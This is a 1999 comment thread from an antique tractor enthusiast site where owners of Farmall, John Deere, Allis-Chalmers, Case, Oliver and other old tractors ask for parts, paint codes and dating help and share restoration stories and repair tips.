Kelly wrote on Tuesday, November 23, 1999 (PST):I presently have a International "C" and "H" now I am looking for an "M" If any one wants to get rid of one please write back/sheet metal dosent need to be in good shape at all. Just need it to use around the farm because i dont like to use the ones that are painted. I live in Emporia KS. I Dont want to travel very farr to get it. 400-500 $ Thank you.
Joey wrote on Tuesday, November 23, 1999 (PST):There isn't any need to put some stupid alternater on an antique tractor that you are trying to restore to the original stock version. Also takes away from value. Just put a 6 volt resistor on your hot wires going to each electrical unit"starter,generator,lights" It'll cost about 15$.
Bob Braden wrote on Tuesday, November 23, 1999 (PST):My father has a 420w John Deere, I believe it's a 1956 model. does anyone have org pictures, or restored pictures of this model tractor? Thanks.
Paul Macuch wrote on Tuesday, November 23, 1999 (PST):I have a 1940 Farmall A and I have a set of cultivators from a Farmall Cub. The cultivator parts were not assembled and I'm not sure how they fit. Has anyone got photos of assembled cultivators and will the cub parts fit on a model A?
ken kelliher wrote on Monday, November 22, 1999 (PST):would like to find a trip plow for a farmall m please send some info where the best place to find one
John Schweizer wrote on Sunday, November 21, 1999 (PST):I grew up on 45's my family has owned 7 of them at one time or another, my brother still has 5 that are used daily for various chores around the dairy farm. Over the years they have been one of the most vesatile tractors ever produced. Just a reminder that Allis-Chalmers will be the featured marque at the 2001 I&I Farm Days in Penfield, IL.
AUBOYER MAURICE wrote on Sunday, November 21, 1999 (PST):I am French. I am 57 years old I am fascinated by this tractor TITAN 10-20. When I was young , 5/6 years old , I was put on the seat of this tractor. I was terrified by the noise, mechanical parts in movement, steam from the water barrel, valves as little men dancing, sparks in the night; These tractors were bringt in France by US troops in 1917/1918.They were used to supply front line and to tract guns.After war they have been sold. In my village in BRITTANNY (West of France) they were several of them.I think they were in use since the beginning of the sixties years. Farmers owners of this tractor had only one in use but one or two other was used as spare parts. TITAN 10-20 was only used to plough or to drive trheshing-machine by belt and pulley. I doen't know if there is since one of TITAN 10-20 in FRANCE. I think also Titan 10- 20 is not a "misceallenous" tractor but a true I.H. tractor.
Lester wrote on Saturday, November 20, 1999 (PST):I have a model B and it appears that my clutch has gone. I am getting ready to break it apart and was wondering if anyone can let me know if there are any potential problems I can expect to encounter. I have never changed a clutch on a tractor before.
john flowers wrote on Saturday, November 20, 1999 (PST):I am interested in finding out how i owuld check ignition timing on the motor.
Michelle Endries wrote on Saturday, November 20, 1999 (PST):My husband and I are restoring a 1950 Oliver Row Crop 88. We would like to make it as close to original as possible so it can be shown. We are having trouble finding out what colors actually belong where. Does any one have any good resources or potos to share? We have purchased several books. Many have photos, but they are not consistent. We specifically need help with the red and green on the rims, and the yellow stripes on the body and grill. Let me know if you can help, this is driving us crazy!!
Jamie Vacanti wrote on Friday, November 19, 1999 (PST):I Love your cockshutt!
Craig Braddock wrote on Friday, November 19, 1999 (PST):I am looking for tracks, track links, some shoes for my 420C. It is a good machine with a loader and rear rippers. Had a short block put in, transmission work about 4 years ago. It runs good. Can you help me find the parts I need? Craig Braddock
Mike Druschel wrote on Friday, November 19, 1999 (PST):I have a farmall M (1946) that we still use everyday on my dairy farm in pennsylvania We use it everyday to haul manure and rake hay in the summer. For being 53 years old the old girl still runs very well it starts everymorning and stops every night. when my grandpap first bought it, it had steel wheels on it but after about 20 years of that they burnt the wheels off and put rubber ones on it. We still use it to run our silo blower with it's pulley. I will tell you one thing that they are one of the worst things to run over plowed ground. You almost break your wrist try to keep the wheel from spinning out of conntroll. It may be old but it is in very good condition the sheet metal is still stright and there is no rust. i want to do a complete restoration on and put the steel wheels back on it. I want to do this so I can display and pull it at my tractor clubs show.
Jim Tipton wrote on Thursday, November 18, 1999 (PST):I am the proud owner of a 49 SC Case. My grandfather sold this tractor new. Our family has long since been outof the Case business and I am now trying to restore this tractor. I need cylinder liner and pistons.
GeneD14 wrote on Thursday, November 18, 1999 (PST):When the power director clutch is in the neutral position the transmission oil between the clutch discs causes just enough drag to make the tractor want to move. In cold weather the fluid is even thicker and will make this even more noticeable. This is normal for D-series tractors, so be sure to shift the gear selector into neutral before dismounting the tractor.
Les Hunt wrote on Wednesday, November 17, 1999 (PST):I have one of these that my grandfather bought when it was about two years old - not sure of age but I believe it was made in the early 30's. I am now in the process of restoring it and am in need of some parts. The original throttle control has been moved and the block and head are now cracked. It still runs though! Any help appreciated.
Stan Fryzel wrote on Wednesday, November 17, 1999 (PST):I have a Farmall "M" (1944) that sat in the barn for 6 years..I drug it out woth a chain ran some keroscene through the engine a few tines..changed the oil and filter foured some gas in the tank.and what do u think happened...YES...THE "M" started...This winter im going to give the Old reliable "M" a good face lift and total restoration.. OH...Im looking fort a hand crank for my "M"......Stan
chris wrote on Tuesday, November 16, 1999 (PST):Have just purchased AC B tractor. Runing drove home from neighbors. 1938 #B6231. Will need some restoring. Has brand new rear tires/rims. Have decided to purchase already restored tractor.Does anyone want to purchase this one? It is located in south,central connecticut.
Bob Wolfe wrote on Tuesday, November 16, 1999 (PST):Have any of you see a twin minee hitch. It was made up of two 1350 mm"s The frount axle was removed on one hand controles put on it! Hooked to the back of the first one. Combined would pull a twenty four ft. disk& a field cultervator& Hairgator at the same time. Also pulled a ten bodom plow! Thats right 10\16 plow in 1973! It was known as the Fecht boy's M&M hich Owned by Donald & Roger Fecht OF Carthage,I.LL It was great to see it run. They used it that way for about eight years. It is still talked about to this day. That was over Almost thirty years ago If you got one better than that I would love to hear about it. Farm kid at heart. Bob Wolfe Phx,AZ
Gilles BELY wrote on Tuesday, November 16, 1999 (PST):Quel type de tracteur Massey-Harris était-il exporté en France en 1945? Je suis journaliste et je prépare un article sur les premiers tracteurs de l'après-guerre. On m'a parlé d'un tracteur de 25 CV, à soupapes latérales, sans culbuteur, de 2,7 l. de cylindrée... Il valait avec sa charrue 124.500 F français de 1945. Merci de me répondre.
Jared wrote on Monday, November 15, 1999 (PST):I bought a WD45 wiht a badly cracked block I would like to know where to get a block, complete engine, or parts tractor with a good block, preferably for cheap
DUSTIN NEWBY wrote on Monday, November 15, 1999 (PST):I am 17 years old an I own a 1952 Super C I restored it when I wwas 13. My Father and Grandfather are farm mechanics. We also own two JD A's one B a 40 a MT and a L. We have a Ten caterpillar. Farmmal A and B. And one WC Allis Chalmers. Have Any Questoins Or need help locating parts E-mail me. I love working on and talking about old tractors.
Ken Lahm wrote on Monday, November 15, 1999 (PST):I have a 2010 Diesel. Used it for baling hay. Runs great but have heard from many farmers that the 2010 is the worst tractor that John Deere has built. Is there any truth to this? Or are they talking about the commercial model?
Scott wrote on Monday, November 15, 1999 (PST):I am looking for a John Deere 60 to use in the hay fields and our local tractor pulls in New England area.
Allen McIntosh wrote on Monday, November 15, 1999 (PST):4 years ago I found a D-15 Series II Industrial with a TS-500 Loader and Hoe. To my surprise it had a Deisel motor in it. The book said it was a Buda. During resteration I pulled the shuttel shift clutch pack out. I have a old manua that showes the procedure for rebuild and shiming the clutch pack. It can be shimmed and inspected on the D-15 through a side plate on the transmission. Contact me and I can scan the manual and send it to you If you would like. Any one out there have a starter for a d-15 deisel for sale, or starter drive.
Alex Dwyer wrote on Monday, November 15, 1999 (PST):I have 3 F-14's and have recently acquired one on full steel with considerably good sheet metal. The engine is siezed but I will take care of that with some Coca-Cola.
Larry Mears wrote on Monday, November 15, 1999 (PST):I have now located the correct number on the tractor. Serial # is ; 38762 ; any help on finding the year model would be apperciated. Thanks, Larry Mears
mark wrote on Sunday, November 14, 1999 (PST):when engaging my D-17's power director clutch lever into forward or reverse, the tractor will act as if it wants to move and then stop moving.....anyone have a solution?
jennifer harvey wrote on Sunday, November 14, 1999 (PST):I found my D-15 in North Idaho for sale at the end of someone's driveway. I bought it a week before starting a new relationship. Two and a half years later, the only thing my man and I argue about is if we ever get married and then divorce--who gets the tractor!oh,and we just bought a D-17 with loader arms and detachable backhoe...anybody know anything about this tractor's shuttle shift?.........symptom; barely wants to move forward or reverse when moving shuttle shift lever
Thomas Harrower wrote on Sunday, November 14, 1999 (PST):I have just acquired a tractor that is an I6 McCormick Deering , does anybody have any pictures or information specifically for the I6 tractor? I have found many pictures and books that show pictures of the Model W6 , but not the I6. I know that the lettering is different but that is all. Somebody mentioned to me that the I6 could have been painted a blue or a grey rather then Farmall Red. Does anybody have any information? Anything would be GREATLY appreciated.
Don Buescher wrote on Sunday, November 14, 1999 (PST):Does any one have information on getting parts for a Massey Harris 444d row crop tractor? Plan on restoring and was missing a few parts. Also, does any one have any idea what this tractor would bring if was restored as I don't see too many around. Thanks
Donnie Land wrote on Sunday, November 14, 1999 (PST):I have a 1946 Farmall M. I use it to do all my farming from Bush hogging to cutting hay. It is all original and still runs great. If there is a better built tractor, I would like to see it.
Peter Tyler wrote on Sunday, November 14, 1999 (PST):I have used a John Deere 2010 a wide front end. As a youth on the family farm. We used it for haying also everything else that we did on the family farm. It was a superb tractor, did everything we asked of it. I currently own the smaller John Deere 1010,farm is no longer in production.I use the tractor mainly for Bush hoging, and dragging in timber
Larry Mears wrote on Saturday, November 13, 1999 (PST):Last summer I purchased a restored farmall cub. Trying to find out wht year it was manufactured. Got this # off the tag on block behind the carbarator ; 39202. Please email me if you have any info as to when it was made. Thanks, L. Mears
Ron wrote on Friday, November 12, 1999 (PST):To convert 6 volt to 12 volt install a 12 volt alternator to replace the generator. Install a resistor ahead of the coil. Replace the battery with a 12 volt negative ground. The present 6 volt starter will work but don't grind on it very long.
daniel wrote on Friday, November 12, 1999 (PST):iam doing a research paper on the farmall H series tractor if anyone who reads this could send me some pictures history or facts it would be greatly apprieciated.
Todd Hamilton wrote on Friday, November 12, 1999 (PST):My dad farmed with this tractor from 1951 until 1974 when we stopped farming and moved to town. I recently have started helping at our extended family's farm over the past 3 years and last week I became the proud owner of a good running and well-painted SC CASE.
Gene Sullivan wrote on Friday, November 12, 1999 (PST):I am looking at a Super Dexta that appears to be in good condition and would like to know if $4100 is a reasonable price. Also, the photo above shows the exhaust on top but on the one I am looking at it goes out the back (underneath). Please help! I need to make a decision Sat (14 Nov).
HTomatoes wrote on Friday, November 12, 1999 (PST):I have a vac narrow front end. Don't know what year. The ignition points seem to burn very fast. Anyone know why? The distributer gets a lot of condensation in it and the points want to short out. Would appreciate some help.
Milt Smidt wrote on Friday, November 12, 1999 (PST):i have a 22/36 but not yet restored. the first tractor my father owned was a 22/36, he will be 87 yrs. old in march so has many stories about old iron. i also own two 10/20's, F-12 and a FARMALL B
William Naudain wrote on Thursday, November 11, 1999 (PST):I have a case 500 diesel and am in the process of getting ready to restore it. I would like to find another one for parts,as mine is kind of rough but runs decent. I am also going to pull mine in the antique tractor pulls in this area.
Tom Boughner wrote on Thursday, November 11, 1999 (PST):Canada Post issued a special stamp in 1996, commemorating the fiftieth anniversary of the production of the first Cockshutt 30s at their Brantford plant. The bulletin that accompanied the stamp reported the following; Cockshutt "30" Farm Tractor Cockshutt Farm Equipment Limited was founded in 1877 by James G. Cockshutt, who invented a series of implements, including the J.G.C. Sulky Plow. The firm designed tractor-pulled implements and offered a line of American-built tractors. Ending the U.S. agreement, the company decided to design and build its own line of tractors and combines. The result of their intensive development program was the Cockshutt "30" - the first tractor equipped with live power take-off and a live hydraulic system. The first "30" was produced in Brantford, Ontario, with production increasing from 400 uits in 1946 to over 17,000 in 1949. Production ceased in 1956 and the company was sold to U.S. interests in 1962. This stamp drawing featuring a farm tractor shows a standard-tread Cockshutt "30", equipped with wheel weights. Similar models are owned by collectors and museums such as the Ontario Agriculture Museum in Milton.
Bryan wrote on Wednesday, November 10, 1999 (PST):Can anyone tell me what attachments are available either new or old for the pony tractor. If anyone has any available (except sicklebar, snowplow) please get in touch with me. Thanks
James Van Damme wrote on Wednesday, November 10, 1999 (PST):I drove my dad's Cockshutt 40 when I was a youngster. It was a great tractor for P.T.O. work. It hauled 2 8-ton sugar beet loads easily. It had very few mechanical problems. A lot of great memories.
Jerry Sandel wrote on Wednesday, November 10, 1999 (PST):I own a 1958 770 that has been owned by our family since new.It currently has 2055 hours on the meter. It still has the original rear tires and they have well over 50% tread left. Last year I replaced several oil seals the clutch,(it was ruined by a leaking rear main seal)rebuilt the Gemmer power steering unit and repainted the entire tractor. An excellent source for parts is Farmersville Equipment in Ephrata, PA. phone 717-354-2150. They have over 200 Olivers dismantled and the parts fully cataloged. They have virtually anything you want.
Jim Conibear wrote on Tuesday, November 09, 1999 (PST):Have Pony in good operating condition. If I send the SN, can you tell me when it was manufactured?
Jim Duncan wrote on Tuesday, November 09, 1999 (PST):To Gary Jenkins; The best match for Ferguson gray is NAPA Gray 99L3740, this should be great for the sheet metal, the balance of your tractor should be Ferguson dark green metallic. I'm not sure of the best match formula as yet, but is you care to e-mail me, I'll be happy to research it further for you.
dan wrote on Tuesday, November 09, 1999 (PST):anyone who needs to find out the year of their tractor can look in the tractor listing in the internet,under the serial number lists.
Weiyue wrote on Tuesday, November 09, 1999 (PST):This is a Chinese company needing some tractors of 120HP(horse power) urgently.I read your models and pictures just now.But I don't understand what they mean.Such as model 80,model 420H? It's different from ours when describing a tractor. If I say model120,it mean the tractor is 120HP. So could you tell me what your models mean? Thank you.
Ritch Folmer wrote on Tuesday, November 09, 1999 (PST): I like 560's, but what about the 660. This was even a better tractor. I've owned three in my time and I can hardly find any literature on them. Are they that rare? Anyways you can't beat the sound that this engine produces under load. It's great!
Tom Opest wrote on Monday, November 08, 1999 (PST):Replacing the fan belt on 8N with a Wagner front loader. Front PTO loader shaft is in the way. Anyone know how to remove this shaft from engine main pulley? Thanks much!
Noah wrote on Monday, November 08, 1999 (PST):I am 16, and just purchesed my first tractor, a "M", I would apreciate any info on it. I want to restore it, and maybe do antque pulls with it. any type of info is greatly apprecated! Thanks!!!
Tim wrote on Sunday, November 07, 1999 (PST):The Model D was the only John Deere tractor to have a totally enclosed chain drive that ran in oil.
Steven Hinson wrote on Sunday, November 07, 1999 (PST):I have just acquired ny Grandfathers 1948 Cub. Serial Number 14099. It is in really sad shape. It has been sitting under a pecan tree for at least 15 years. My goal is to restore it for my kids.
Louie wrote on Sunday, November 07, 1999 (PST):I have a 1948 "G" that is great fun. Can anyone put some pictures on this site of their implements. Installed or not Has there ever been a sweeper for the "G". I currently have a grader'cultivator disk and breaker plow. I think pictures of a hydrualic pump and hose installed would also be interesting to see. In fact any pictures of these cute little tractors is a great Idea
sean west wrote on Saturday, November 06, 1999 (PST):I am looking for the color scheme for this tractor or the model VA i am trying to restore one that i have recently rebuilt...does anybody have the Dupont paint #'s that were used on this model, a response would be appreciated...thanks. if you have any other information on the color could you please respond to this
c johnson wrote on Saturday, November 06, 1999 (PST):we have a massey harris pacer and would love to receive info on it.
Tom Boughner wrote on Saturday, November 06, 1999 (PST):As to the comment that no one knows for sure when Cockshutt started building tractors, I'd like to offer this. My parents met while both were employed at the Cockshutt plant in Brantford during the '40s. The Canadian government had commandeered the Cockshutt facility for defence production purposes, turning out components for the Avro Lancaster Mark X bomber being built by Avro Canada in Malton. With the facility upgraded to satisfy wartime defence requirements, Cockshutt was well positioned to do so and swung their production over to tractors after the war ended. Canada Post issued a commemorative postage stamp honouring the first Cockshutt 30 tractors off the Brantford assembly line in 1946. I hope this helps and is of interest.
Doug Charles wrote on Saturday, November 06, 1999 (PST):I have a 1941 9N and I am having problems with flooding. The tractor ran well until I started having trouble with the carb, flooding. The carburator has just been rebuilt and I observed it working perfectly on another 9N when it was bench tested before I picked it up from the shop. Any ideas.
Ross Cumpstone wrote on Saturday, November 06, 1999 (PST):I have a 1942 Farmall A which is has duel wheels. This tractor was found in a hedge an was very tired. With a bit of fuel and paint it still does a good days work.
kimsey rutland wrote on Friday, November 05, 1999 (PST):Did this tractor have a peg or stationery draw bar? If so,where can I get one.
Mike B wrote on Friday, November 05, 1999 (PST):Here's a question for some Avery buff. The photo in the tractor shed obviously has battery ignition. I believe Avery took over the Cletrac General 'GG' line in the early 40's. It seems that the General had a different grille and maybe hood than the photo, somewhat similar but not as styled, am I right? Also, were the early Avery A's (ie. just after they took over the Generals) of the earlier (General) grille type? How easy were the magneto versions of the Avery to start? I am assuming that the early ones were magneto ignition like the Generals. Contact me at; mballash at wci.ab.ca Thanks, Mike.
Steve Shiver wrote on Thursday, November 04, 1999 (PST):So glad to know there are other model LA's out there. My 1938 is a worker, pulls 14" turning plow, splits touch rocks with it front blade! It spits oilly soot out the stack now, so time for a rebuild and carb. redo. Where does one find such parts?
Tom Byrnes wrote on Thursday, November 04, 1999 (PST):I enjoy rideing on my old 1935 Moded B brass tag tractor I have had it for 2 years now, found it after looking for a long time.Was very rusty and old looking now looks like new! I just can't get over the neat sound it makes.
Nathan wrote on Thursday, November 04, 1999 (PST):I would really,really like to add that system (ARPS halftrack)to my tractor.! I currently have landscaping tread a 16.5L-16.1 tires on the rear. And I HATE them. but they are easy on the yard grass, but lousy on snow, sand, and everyplace else that you need a little traction. So if anyone can send me plans or a source, that I'll motifiy to fit my tractor that would be very greatful.
Roger Roberts wrote on Wednesday, November 03, 1999 (PST):This tractor is an AOS and not really an AO the serial number on this tractor runs from 1000-184?. I own two of these and the one pictured does not have the correct front rims. The were solid in nature and no slits. The slit rims came after the AOS was dropped from production in 1941.
George wrote on Tuesday, November 02, 1999 (PST):I have an un-restored 60 standard that looks like the same tractor, except for color. The 60I does have brackets of some kind on the frame that I am curious about. Could my 60 be reasonably restored as an industrial?
Ryan Bortner wrote on Tuesday, November 02, 1999 (PST): I have a 1947 m and it had a mounted corn Picker on it and the picker was getting worn out so we took it off and i decided to pull with it and I have had perfessionals say that I should have no trouble with tyhe m because it is Better than any tractor ever made And has been proven. I love it a ton. when we restored it everything was right out in the open and didn't have to take every part off to get to another that is how simple they are.
Jim Roberts wrote on Monday, November 01, 1999 (PST):We used a 1931 Case on a dairy farm in PA for about 10 years 140's-50's. It was one of the best tractors in the countryside for ease of maintenance and dependability.
Gary Moyer wrote on Monday, November 01, 1999 (PST):The pic. is very interesting,although I would like to see a picture of a restored bf avery model V. I would also like to find out the value of that tractor because I would possibly sell one. If you could mail that info to me or Know of where I could get that info it would be appreciated thank you
6-JAYS wrote on Monday, November 01, 1999 (PST):I have used a case 500 in the past and now own a 500 and a 900,both western tractors also have an S.C and a 800 and am inthe process of purchasing a 700 and a 400 and another sc I don't have e-mail but I'll watch this site
David J.A. Kramer wrote on Sunday, October 31, 1999 (PST):I have a ac d15 with a front end hydraulic loader and am looking for the fair market price. Excellent condition and has 4000 hrs on original engine.
Jim Hellweg wrote on Sunday, October 31, 1999 (PST):I have a gas WD45 1959 Allis Chalmer and I had to change the starter relay and I am not sure that I have it hooked up right because it will not start. Can anyone help me with some kind of verbal diagram? "HELP". Thanks, Jim Hellweg aphorse at mail.usmo.com
David wrote on Sunday, October 31, 1999 (PST):I have a 1944 Farmall BN in good condition. Need mid and rear lifts. Also would like front and rear cutivators. Also need "tool bar" that mounts on front of tractor.
Dave Brown wrote on Saturday, October 30, 1999 (PDT): Brian Barker I would very interested in your info on the the point hitch. Please contact me. Thanx.
Dave Brown wrote on Saturday, October 30, 1999 (PDT): Brian Barker I would very interested in your info on the the point hitch. Please contact me. Thanx.
Rick Paden wrote on Saturday, October 30, 1999 (PDT):My "Farm Fresh" BN was free but you know how that goes. 400 dollars in tires (only the rims were present) trailer rental and 35 dollars in gas and it's home. I have a small crack in the block, engine is froze and the stock seat bracket is missing, but other than that she's cherry. Hope to find time to sink some serious time and money in it this winter. Good luck to all on their restorations. Me, I'm hooked.
Rick Paden wrote on Saturday, October 30, 1999 (PDT):I too own an I-9. It's gas no hydraulics and has tires marked Road Grader. Needs some paint and little stuff here and there but basically nice. Neat story; Went to pick it up and the semi dropped it's drive wheels in a drainage ditch. My first real use of the tractor was to pull the semi back onto the pavement so I could haul her home. Note to Alex"Easy son, we're all friends here"
Kiwi BM wrote on Saturday, October 30, 1999 (PDT):I now have a Farmall Super BM, serial #11424, and built by the International Harvester Company of Great Britain. The tractor is running well. It has been modified in its past life with mud guards, additional pto and hydraulics. It is now being used in its orignal condition and colours. I believe it is a 1952 model but no 100% sure. I am interested in finding out about the British buit series of M and Super M tractors. The U.S. has an excellent documented history on the tractors, but what is existing in the U.K.? Anyone have any information on UK sources of data on these tractors and especially their UK history. Are there any internet sites as good as this one? regards
mike wrote on Friday, October 29, 1999 (PDT):I worked summers on a farm when I was in school in Ohio we ran a few hundred acres with a 730 narrow front end this was our plowing and fitting tractor it was a beast it would out plow the guy next door's 90 h.p Deutz 4 wheel drive also had a 630 gas wide front and a MT .I am buying a 420 to use around the yard and restore to bring back some fond memories ---pop-pop-pop
Brian Palmer wrote on Friday, October 29, 1999 (PDT):This is one of tractors I want we hve a 630, but I wouldn't mind having this one too
David Clippinger wrote on Friday, October 29, 1999 (PDT):Rebel; I have an A with a cracked block. Borrowed a Dremel tool and ground out the crack live a shallow "V." Mixed up some JB weld and patched it up. I even made a plate of 1/8 inch sheet steel as a patch and put it over the crack as reinforcement. I drilled six holes and tapped them to hold it in place, then sealed it with JB weld. If you do this, drill a hole at each end of the crack to prevent it from spreading. Works good; actually runs better than before! Add some stop-leak as a good measure.
Zac wrote on Friday, October 29, 1999 (PDT):my E-mail is pigzac at hotmail.com
Zac Campbell wrote on Friday, October 29, 1999 (PDT):I'm looking to buy a 560 and was wondering how much a good price to pay for one would be.If anybody has any comments you think i would like-please E-mail me!-Thanks!
David Clippinger wrote on Friday, October 29, 1999 (PDT):Mike Shutt; A company named central tractor, based in Iowa, sells sleave and piston kits for the Farmall A and later tractors for about $300. They have an 800 number, but I do not have it on hand. Locally (for me) I can reach them at 4974 East Main Street, Batavia NY 14020 (716) 343-8567. They have a pretty good supply of parts, but I don't know of any other suppliers. If you write to them, they should send you their free catalog and 800 number. If you call them, their help is pretty knowledgeable and helpful. They also sell a shop manual for the A, which describes sleave and piston renewal from above. D.Orlando; I saw couple A's for sale locally for $1400.
Ralph wrote on Friday, October 29, 1999 (PDT):Need to locate a replacement Distributor cap for a 9n that is mounted on the front of the engine block. Anybody got an idea how much and where I might locate one.
Steve Wiesner wrote on Friday, October 29, 1999 (PDT):The painted red f-20 was produced starting in 1936. How long did they make the F-20. Also, the F-30 was produced about the same time. Does anyone know the actual production dates of the F-30 (painted red)
Fred wrote on Friday, October 29, 1999 (PDT):I am looking for a Massey Harris pony tractor in Wisconsin/Michigan/Minnesota area.
michael miller, AKA farmer mike wrote on Friday, October 29, 1999 (PDT):Jeff Formo; the serial # tag should be on the left seat support, about 8 inches or so above the platform Philip Moore ; i think yolu tractor is probably a CUB, 140, 100 or something like that. i am interested in any farmall As, AVs, Bs, etc around the three corners of IN, MI, and OH. thanks in advance. you can go see my tractor at www.geocities.com/Heartland/Farm/7695/myfarmallA.jpg sorry shes not a perfectly restored thing, but.....
Brett Smith wrote on Thursday, October 28, 1999 (PDT):I would like to know if any one has put 4in. sleeves in a 770 block.If so what were they from & how much machine work was needed on the block.This is for a pulling tractor.Any other ideas for building this engine are welcome.
Jim of Ill wrote on Thursday, October 28, 1999 (PDT):A friend needs to know the paint code for cream color on a 2000 industrial tractor.
Gary Warren wrote on Wednesday, October 27, 1999 (PDT):My dad owned two model 44's back in 1965. I now own a model 44 that i am resoting. should have it done by next summer.
David Peterson wrote on Tuesday, October 26, 1999 (PDT):I'm having trouble finding parts for a 1915 65-hp Case Steam Traction Engine. In particular are the things like the axels. The majority of everything else can be fabricated on the lathe and mill I have available.
Scott Bosler wrote on Tuesday, October 26, 1999 (PDT):My dad has owned an "R" for 15 years. We have used it in the field and it has become the "flagship" tractor of our local threshing bee. It is one of the best tractors that I have been around as far as the total package for an old tractor.
quail wrote on Sunday, October 24, 1999 (PDT):I have a l946 model B John Deere Tractor in excellent condition it has John Deere in cast iron in rearend and would like to Trade for 8N Ford tractor in good shape
Rick Brown wrote on Sunday, October 24, 1999 (PDT):Good looking Tractor, not sure on model. I have a 1948-D I'm trying to restore Having trouble finding a Carburator, or rebuild kit for the one I have,CAN ANYONE HELP. Have a Tillotson carb, MODEL ( YC2B ) FOR A HERCULES (IX-Series ) Engine. Serial on Tractor is 2284.
Richard Krohn wrote on Sunday, October 24, 1999 (PDT):Need info on 1900 series oliver. Need to know year model of this tractor
Dave Fritsch wrote on Sunday, October 24, 1999 (PDT):Wrote on 10/24/99.I have a 1938 3-wheeler. I use it to rake hay once in a while and to run a 38' grain elevator.My thought is it is a dangerous tractor because you can't push in the clutch and hit both brakes at the same time!
Rob Carlon wrote on Sunday, October 24, 1999 (PDT):The wheels on this one are the wrong color yellow. The ones on this tractor appear to have been painted with John Deere yellow. The original MH color is lighter like the wheels on the MH 44. The engine was probably red I have never seen an MH with a black engine.
C Edwards wrote on Saturday, October 23, 1999 (PDT):Is the front hub of a Pacer and the Pony the same part?
Mario Plourde wrote on Saturday, October 23, 1999 (PDT):first tractor to Albanel is a 8-16 kerosene in 1920 I need information on performance and price in 1920. thanks.
Tom wrote on Saturday, October 23, 1999 (PDT):I have a 1947 vac and would like to put a 3 point hitch on it. Any info on this would be apreciated.
Bill Carlson wrote on Saturday, October 23, 1999 (PDT):I remember being 6 years old and going to my uncle Georges farm to help during haying season. The little Oliver 60 is the one my brother and I would drive with the Case conditioner on it while George Mowed with a John Deere mower. (By the way, George had two of the 60's) I worked on the farm with him til I was 16. During that time he thought he needed a bigger tracktor so he bought an Oliver 660. George was allways swappen parts back and forth to keep one or the other working. I think he still has one of the 60's and the 660. I'll ask him next thanksgiving. Those were sone of the best memories I have of growing up. I can still remember just what that tractor sounded like every time I drive through the country and smell the fresh mowed hay. Those thoughts will never leave me.
Brantley Murphy wrote on Thursday, October 21, 1999 (PDT):I have a Case SC that our family used on our beef farm in the 70's. It was used to pull a new 273 New Holland square baler. The hand clutch made it the best tractor we have ever used to bale with. It set in the woods for 14 years and the motor stuck, so I shot diesel fuel in the cylinders. A couple days later my wife pulled me up the road and it broke free on the first try. After rewiring it and rebuilding the carb the tractor fired up and ran like a charm. NOTHING RUNS LIKE A CASE!!!
Gary Jenkins wrote on Thursday, October 21, 1999 (PDT):I've got a '55 TO-35, that has a Massey-Harris-Ferguson serial number plate. This tractor is dark green with grey sheetmetal. Does anyone know any paint numbers or names of colors for the green and grey? I also need the front hood emblem. Thanks.
Mathew Cote wrote on Wednesday, October 20, 1999 (PDT):My uncle has a 1960 1900 that he pulls with at the antique shows. The 4-53 Detroit/GM is a sweet diesel engine. He does well in the 11000# classes and up. It's one of the toughest tractors from that era.
Mathew Cote wrote on Wednesday, October 20, 1999 (PDT):The super 98 is the best antique pulling tractor that I've seen The 3-71 Detroit diesel is a strong engine and sounds sweet pulling down the track.
Mildrige Anderson wrote on Tuesday, October 19, 1999 (PDT):Request information on the model zau minneapolis moline. lMy dad bought tis tractor in 1949. I need some of the hadraulic lift parts.
John Niekamp wrote on Monday, October 18, 1999 (PDT):I have a 1948 8N and I have restored back to original as can be expected. The tractor runs and looks like new (started right off the bat at minus 20F.) but I did had some problems with the 3 pt hitch last winter when it got cold out about 30 degrees I decided to put my rear blade on it and the draw bar links would not go up or down due to the old probabaly the original oil in the tranmission system. What is the cause for this is they oil to thick or is there some problem the hydro? It worked great this summer but winter is quickly approaching. What oil should be used? and what volcity?
Sean Fink wrote on Monday, October 18, 1999 (PDT):this tractor looks similar to my moms but, hers has only one front wheel and the steering wheel on hers is offset to the left. I am looking for pricing info, she wants to sell hers. Any info where to look for prices would be greatly appreciated.
Bethany Newman wrote on Saturday, October 16, 1999 (PDT):My father has an LA sitting in his barn. He bought it to restore but hasn't been able to find a good place to start. He's looking for a parts or operational manual. Does anyone know where I can find some information to pass on to him? I would appreciate any bit of information. Thank you.
Jim Grissom wrote on Friday, October 15, 1999 (PDT):I just bought a 1941 VC Case tractor. Where do I begin to start to restore this tractor? Where can I get parts? I live in southern California and live in the rural town of Acton. The tractor runs well, but the starter currently does not work. I'm new to owning tractors, so i would appreciate all the help anyone has to offer.
John Horter wrote on Wednesday, October 13, 1999 (PDT):1951 H For sale. Completely restored. Great tires, runs good. New oil, grease, water jacket, seals, lights work, everything just like new. Need to sell, cheap. NE South Dakota.
Bill Drinane wrote on Wednesday, October 13, 1999 (PDT):I own a 1959 IH model 340 utility. I'm looking for the cable that connects the tach to the drive on the distributor.
Roger Boise wrote on Tuesday, October 12, 1999 (PDT):I haved restored a 1919 8-16 kerosene tractor. I have converted it back to steel wheels and have taken it to many shows with many comments. I have some misc. parts and pieces that you might possibly be interested in. I am selling my 8-16 which will be on Yahoo auctions along with other tractors and engines that I have for sale. I look forward to hearing further from you.
Frank Anderson wrote on Monday, October 11, 1999 (PDT):I have a Fordson Major Diesel, with 6 speed trans high and low, was blue and now has yellow painted over the blue. It has a Sherman Power Digger model 54E100 and a Warner Front Loader. 26 inch rear tires and 16 inch front tires. Simms Injectors for the 4 cylendar Diesel. I need any and all help to identify my tractor. Please e-mail me as soon as possible. Thank you, Frank Anderson
Russell Vetter wrote on Monday, October 11, 1999 (PDT):I own a 1954 Oliver 66 Row Crop Diesel and I'm wondering if there is anyone else out there with the same type of tractor. I just had the engine rebuilt at great expense and I'm wondering just how rare this tractor is.
joe hubbard wrote on Sunday, October 10, 1999 (PDT):i have a jd h tractor and i need the block and pistons. does any one know where i can buy ine
Jim Plants wrote on Sunday, October 10, 1999 (PDT):I recently bought my first tractor. A beautiful W4 1952. I've rewired it. put some TLC into it and bushhoged about 25 acres with it. I'm having some trouble getting the generator to keep the battery charged, but it's a peach
rick clyatt wrote on Sunday, October 10, 1999 (PDT):I am looking at a Ford Model 600, is this tractor also known as a NNA and what year. Is as reliable as the 8N or should I look for an 8N instead.
John Frick wrote on Sunday, October 10, 1999 (PDT):I would like to find an 8N or Jubilee in excellent working condition, preferably with some working attachments, to help me with light farming and land maintenance. I also love to look at 'em!
david barnard wrote on Sunday, October 10, 1999 (PDT):I have one of these tracters and its on lp gas and it pulls great I drive it all the time
